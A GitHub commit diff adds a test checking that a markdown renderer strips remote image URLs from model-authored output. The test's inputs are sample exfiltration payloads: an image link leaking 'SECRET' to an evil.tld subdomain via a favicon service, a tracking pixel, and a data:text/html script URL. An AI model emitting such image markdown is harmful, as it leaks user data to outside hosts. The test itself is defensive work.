Skip to content

Commit b962949

Browse files
committed
test(webapp): assert StreamdownRenderer drops remote image src end-to-end
1 parent 65c60df commit b962949

1 file changed

Lines changed: 37 additions & 1 deletion

File tree

apps/webapp/app/components/code/StreamdownRenderer.test.ts

Lines changed: 37 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
1+
import { createElement } from "react";
2+
import { renderToStaticMarkup } from "react-dom/server";
13
import { describe, expect, it } from "vitest";
2-
import { restrictModelUrls } from "./StreamdownRenderer";
4+
import { restrictModelUrls, StreamdownRenderer } from "./StreamdownRenderer";
35

46
// streamdown calls urlTransform(url, key, node) to compute each url attribute; a
57
// returned undefined removes the attribute, so no request is ever issued.
@@ -42,3 +44,37 @@ describe("restrictModelUrls (link href)", () => {
4244
expect(restrictModelUrls("data:text/html,<script>", "href", link)).toBeUndefined();
4345
});
4446
});
47+
48+
// Force the lazy component to load, then return its resolved default so we can render it
49+
// synchronously. This proves the policy is actually wired into the JSX, not just exported.
50+
async function resolveStreamdownRenderer() {
51+
const lazy = StreamdownRenderer as unknown as {
52+
_payload: unknown;
53+
_init: (payload: unknown) => (props: { children: string }) => JSX.Element;
54+
};
55+
try {
56+
lazy._init(lazy._payload);
57+
} catch (thenable) {
58+
await thenable;
59+
}
60+
return lazy._init(lazy._payload);
61+
}
62+
63+
describe("StreamdownRenderer (rendered markdown)", () => {
64+
it("never lets a model-authored remote image src reach the DOM", async () => {
65+
const Renderer = await resolveStreamdownRenderer();
66+
const markdown = [
67+
"![x](https://www.google.com/s2/favicons?domain=SECRET.evil.tld)",
68+
"![y](//evil.tld/pixel.gif)",
69+
"![z](/local/pic.png)",
70+
].join("\n\n");
71+
const html = renderToStaticMarkup(createElement(Renderer, null, markdown));
72+
73+
// No remote host is ever fetched: no absolute or protocol-relative image src survives.
74+
expect(html).not.toContain('src="http');
75+
expect(html).not.toContain('src="//');
76+
expect(html).not.toContain("SECRET.evil.tld");
77+
// A same-origin relative image is untouched, so the policy does not over-block.
78+
expect(html).toContain('src="/local/pic.png"');
79+
});
80+
});

0 commit comments

Comments
 (0)